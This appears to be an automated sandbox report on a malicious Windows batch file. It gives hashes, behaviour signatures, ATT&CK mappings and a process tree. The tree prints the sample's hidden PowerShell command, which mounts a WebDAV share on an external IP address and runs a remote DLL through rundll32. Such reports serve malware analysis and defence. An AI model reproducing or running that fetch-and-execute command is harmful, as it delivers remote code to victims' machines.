cf0646244c6f759d1f6c69e14f2fc0bab8f1e6fe99fde863b6edfc5bfda44777

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
13/07/2024, 13:49

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General

Target

12439171432166231939.bat
Size

2KB
MD5

b731b375fbc90398d7920262c60f40bd
SHA1

ee1d1ee5d13439a51df74e7dbc291c4f146a76f3
SHA256

cf0646244c6f759d1f6c69e14f2fc0bab8f1e6fe99fde863b6edfc5bfda44777
SHA512

ac8d68fe1d1745a6380f25051b9f6077c0c8370292a75c09d89b1ad923e1ce122b98f774a54cb4570a44b55c359bef0ca22ed61c424f74a33d955ad5e02ec3ec

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1592	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1592	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1592	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2352	wordpad.exe
2352	wordpad.exe
2352	wordpad.exe
2352	wordpad.exe
2352	wordpad.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2144 wrote to memory of 2352	2144	cmd.exe	29
PID 2144 wrote to memory of 2352	2144	cmd.exe	29
PID 2144 wrote to memory of 2352	2144	cmd.exe	29
PID 2144 wrote to memory of 1592	2144	cmd.exe	30
PID 2144 wrote to memory of 1592	2144	cmd.exe	30
PID 2144 wrote to memory of 1592	2144	cmd.exe	30
PID 1592 wrote to memory of 1912	1592	powershell.exe	32
PID 1592 wrote to memory of 1912	1592	powershell.exe	32
PID 1592 wrote to memory of 1912	1592	powershell.exe	32
PID 1592 wrote to memory of 1444	1592	powershell.exe	33
PID 1592 wrote to memory of 1444	1592	powershell.exe	33
PID 1592 wrote to memory of 1444	1592	powershell.exe	33

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\12439171432166231939.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2144
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2352
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\4818.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1592
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:1912
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\4818.dll entry
    3⤵
    PID:1444

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1592-24-0x000000001B480000-0x000000001B762000-memory.dmp

Filesize
2.9MB

Download
memory/1592-25-0x00000000027E0000-0x00000000027E8000-memory.dmp

Filesize
32KB

Download
memory/2144-16-0x00000000022B0000-0x00000000023B0000-memory.dmp

Filesize
1024KB

Download
memory/2144-17-0x00000000022B0000-0x00000000023B0000-memory.dmp

Filesize
1024KB

Download